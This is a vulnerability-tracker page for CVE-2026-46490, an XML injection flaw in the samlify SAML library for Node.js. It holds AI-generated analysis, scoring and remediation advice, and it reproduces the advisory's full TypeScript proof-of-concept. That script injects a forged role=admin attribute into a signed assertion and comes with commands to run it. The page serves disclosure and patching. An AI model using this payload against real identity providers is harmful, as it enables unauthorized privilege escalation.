Skip to main content

samlify CVE-2026-46490

| EUVDEUVD-2026-35188 HIGH
XML Injection (aka Blind XPath Injection) (CWE-91)
2026-05-21 https://github.com/tngan/samlify GHSA-34r5-q4jw-r36m
8.7
CVSS 4.0 · Vendor: https://github.com/tngan/samlify
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privileged IdP account
  2. Delivery
    Set profile field to crafted XML payload
  3. Exploit
    Initiate SAML SSO to target SP
  4. Execution
    IdP signs assertion containing injected saml:Attribute
  5. Persist
    SP validates signature and trusts injected role=admin
  6. Impact
    Attacker accesses administrative functionality

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization XPath query parameterization
Exploitation Conditions

Exploitation requires that the target IdP runs samlify < 2.13.0 and uses the loginResponseTemplate mechanism with at least one user-controlled value tag (e.g., user.email, user.name) interpolated into saml:AttributeValue element text. The attacker must hold a valid account on the IdP that lets them set one of those user-controlled fields to an arbitrary string (so authentication to the IdP is in practice required, despite the CVSS vector listing PR:N). The downstream SP must use SAML attributes (roles, groups, entitlements) for authorization decisions for the injection to translate into privilege escalation; SPs that only consume the NameID or ignore custom attributes are not impacted. No user interaction by a victim and no special network position are required beyond the normal SSO flow.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N reflects a network-reachable, low-complexity attack with high integrity impact and no confidentiality or availability impact, scoring 8.7 (High). However, PR:N in the vector conflicts with the description, which clearly requires the attacker to be a 'normal user' of the IdP - meaning a valid account is needed to submit the malicious attribute values, so real-world preconditions are closer to PR:L than PR:N; this should be flagged to consumers of the score. There is no EPSS, KEV, or SSVC data provided, so exploitation prevalence is unknown; however, a detailed PoC is published in the GHSA advisory, and the bug is deterministic and trivially weaponizable against any SP that uses SAML attributes for authorization (roles, groups, tenant IDs). Risk is concentrated in deployments where downstream SPs trust attribute-based authorization, which is the common case in enterprise SSO.

Exploit ScenarioDerived

An attacker registers or already holds a low-privileged account on an application whose IdP uses samlify. They set their profile email (or another templated attribute) to a payload that closes the saml:AttributeValue/saml:Attribute elements and injects a new saml:Attribute Name="role" with value 'admin'; when they initiate SSO, the IdP renders, signs, and returns the tampered assertion, and the downstream SP - trusting the cryptographic signature - grants administrative privileges based on the injected role attribute. A working PoC is published in the GHSA advisory, making reproduction straightforward.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 08, 2026

Privilege escalation in samlify (Node.js SAML library) versions prior to 2.13.0 allows authenticated users to inject arbitrary XML markup into signed SAML assertions because template substitution only escapes attribute contexts, not element text. An attacker with a valid account can supply crafted values in user-controlled fields (e.g., email) that close the AttributeValue element and inject additional saml:Attribute elements (such as role=admin), which the IdP then signs and the SP accepts as trusted. No public exploit identified at time of analysis beyond the vendor-published PoC in the GHSA advisory.

Earlier versions of this analysis (2)
v2 Jun 08, 2026 - 19:28 cvss changed CVSS 8.7

Privilege escalation in samlify (npm) versions prior to 2.13.0 allows an authenticated low-privilege user to inject arbitrary SAML attributes into a signed assertion by smuggling XML markup through unescaped element text in user-controlled values like email or name. Because the malicious attributes are inserted before the IdP signs the assertion, the Service Provider validates the signature and trusts injected claims such as role=admin. Publicly available exploit code exists in the GitHub Security Advisory, but no public exploit identified at time of analysis indicates in-the-wild abuse.

v1 May 21, 2026 - 18:00

Privilege escalation in samlify (npm package) versions prior to 2.13.0 allows authenticated users to inject arbitrary SAML attributes into signed assertions because template substitution fails to XML-escape values placed inside element text. Publicly available exploit code exists in the form of a vendor-published proof-of-concept demonstrating injection of a forged role=admin attribute that the Identity Provider then signs as legitimate. No public exploit identified at time of analysis as actively exploited in the wild, but the trivial PoC and high impact on authorization decisions make this a high-priority library update for any Node.js SAML integration.

RemediationAI

Upgrade samlify to the vendor-released patched version 2.13.0 or later (npm install samlify@^2.13.0), which is the primary and recommended fix per the GHSA-34r5-q4jw-r36m advisory at https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m. If immediate upgrade is not possible, apply input validation at the application layer to strictly whitelist characters allowed in user-supplied attribute values (reject '<', '>', '&', '"', and '/' in fields such as email, display name, and any other value passed to the loginResponseTemplate), with the trade-off that this blocks legitimate Unicode-heavy values and is a fragile defense against encoding bypasses. Additionally, on the SP side, enforce defense-in-depth by validating that each saml:Attribute appears only once and matches an expected schema before using attribute values for authorization decisions, accepting the side effect that legitimate multi-valued attributes may need explicit allowlisting.

Affected VersionsENISA

samlify < 2.13.0

Affected Packages

npm samlify fix: 2.13.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

samlify is a widely used npm package implementing SAML 2.0 IdP and SP flows for Node.js applications. The root cause is in src/libsaml.ts, where replaceTagsByValue() applies XML escaping only when a placeholder is preceded by a quote character (i.e., inside an XML attribute), leaving placeholders embedded in element text content unescaped. This maps to CWE-91 (XML Injection / Improper Neutralization of Special Elements used in an XML Expression): user-controlled strings are concatenated into the SAML assertion template before XML-Signature canonicalization and signing, so injected elements become part of the signed payload and are indistinguishable from legitimate attributes to the relying party.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/tngan/samlify) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/tngan/samlify) · only source for this CVE.

CVSS VectorVendor: https://github.com/tngan/samlify

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 08, 2026 - 19:29 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 08, 2026 - 19:28 vuln.today
v2 - CVSS changed
CVSS changed
Jun 08, 2026 - 19:22 NVD
8.7 (HIGH)

DescriptionCVE.org

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:

<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>

Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept

  • poc/attribute_injection.ts
TS
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {
  context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
  attributes: [
    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
  ],
};

const idp = IdentityProvider({
  privateKey: readFileSync('./test/key/idp/privkey.pem'),
  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/idpmeta.xml'),
  loginResponseTemplate,
});

const sp = ServiceProvider({
  privateKey: readFileSync('./test/key/sp/privkey.pem'),
  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/spmeta.xml'),
});

const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
  const now = new Date();
  const fiveMinutesLater = new Date(now.getTime() + 300_000);
  const tvalue = {
    ID: _idp.entitySetting.generateID(),
    AssertionID: _idp.entitySetting.generateID(),
    Destination: _sp.entityMeta.getAssertionConsumerService('post'),
    Audience: _sp.entityMeta.getEntityID(),
    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
    NameID: user.email,
    Issuer: _idp.entityMeta.getEntityID(),
    IssueInstant: now.toISOString(),
    ConditionsNotBefore: now.toISOString(),
    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
    InResponseTo: 'request-id',
    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
    attrUserEmail: user.email,
    attrUserInjection: user.injection,
  };

  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};

async function main() {
  const injection = [
    'safe',
    '</saml:AttributeValue></saml:Attribute>',
    '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
    '</saml:Attribute>',
    '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
  ].join('');

  const user = { email: 'user@esaml2.com', injection };
  const { context: SAMLResponse } = await idp.createLoginResponse(
    sp,
    { extract: { request: { id: 'request-id' } } },
    'post',
    user,
    buildTemplate(idp, sp, 'post', user)
  );

  const xml = util.base64Decode(SAMLResponse, true).toString();
  console.log('--- Generated XML snippet ---');
  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));

  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });

  console.log('Parsed attributes:', extract.attributes);
}

main().catch(err => {
  console.error('PoC failed:', err?.message || err);
  process.exitCode = 1;
});

Run:

  npm install --legacy-peer-deps
  npx ts-node poc/attribute_injection.ts

Impact

A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.

Executive ViewAI

Why It Matters

Samlify (Node.js SAML library) contains a privilege escalation vulnerability (CVE-2026-46490, CVSS 8.7) that allows authenticated users to assume administrative permissions through XML injection; no public exploit identified at time of analysis. Organizations using samlify for authentication must immediately patch to version 2.13.0 to eliminate administrative access escalation risks before exploitation becomes public.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy